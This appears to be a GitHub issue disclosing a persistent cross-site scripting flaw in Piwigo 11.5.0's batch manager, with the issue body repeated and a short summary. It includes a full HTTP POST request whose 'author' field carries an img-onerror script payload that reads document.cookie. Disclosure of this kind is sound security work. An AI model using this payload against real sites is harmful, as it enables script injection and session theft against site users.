In Piwigo 11.5.0, there exists a persistent cross-site scripting in the single mode function through /admin.php?page=batch_manager&mode=unit.
**Description:**
In the single mode function of the Piwigo system, modifying the author parameter of the picture can cause persistent cross-site scripting
**Vulnerable Instances:**
/admin.php?page=batch_manager&mode=unit
![image](https://user-images.githubusercontent.com/49687778/132269709-b5092ef5-eac5-4aa2-808d-ccc6df8dbbfc.png)
**affected source code file**
![image](https://user-images.githubusercontent.com/49687778/132156810-58decaa0-52cf-4e74-a02a-cdd58e6de823.png)

**request**
```
POST /admin.php?page=batch_manager&mode=unit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin.php?page=batch_manager&mode=unit
Cookie:  pwg_id=mof6jca30q9tr1qu48hhvqi143
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

element_ids=4&name-4=test&author-4=11111%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29%3E11&date_creation-4=&level-4=0&description-4=&submit=Submit
```
![image](https://user-images.githubusercontent.com/49687778/132154568-3ca82632-6ac5-4200-89a6-db84651159ed.png)

**suggestion**
Restrict user input and output
Persistent Cross Site Scripting in Batch Manager(version:11.5.0)
This is a GitHub Issue
repo:Piwigo
owner:Piwigo
Title : Persistent Cross Site Scripting in Batch Manager(version:11.5.0)
Issue date:

--- start body ---
**Description:**
In the single mode function of the Piwigo system, modifying the author parameter of the picture can cause persistent cross-site scripting
**Vulnerable Instances:**
/admin.php?page=batch_manager&mode=unit
![image](https://user-images.githubusercontent.com/49687778/132269709-b5092ef5-eac5-4aa2-808d-ccc6df8dbbfc.png)
**affected source code file**
![image](https://user-images.githubusercontent.com/49687778/132156810-58decaa0-52cf-4e74-a02a-cdd58e6de823.png)

**request**
```
POST /admin.php?page=batch_manager&mode=unit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin.php?page=batch_manager&mode=unit
Cookie:  pwg_id=mof6jca30q9tr1qu48hhvqi143
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

element_ids=4&name-4=test&author-4=11111%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29%3E11&date_creation-4=&level-4=0&description-4=&submit=Submit
```
![image](https://user-images.githubusercontent.com/49687778/132154568-3ca82632-6ac5-4200-89a6-db84651159ed.png)

**suggestion**
Restrict user input and output
--- end body ---

The Piwigo system version 11.5.0 is vulnerable to Persistent Cross-Site Scripting (XSS) in the Batch Manager. This vulnerability allows an attacker to inject malicious scripts through the 'author' parameter when modifying picture details. The injected script can be executed in the context of the user's browser, potentially leading to session hijacking or other malicious actions. The affected endpoint is /admin.php?page=batch_manager&mode=unit, where user input is not properly sanitized before being rendered.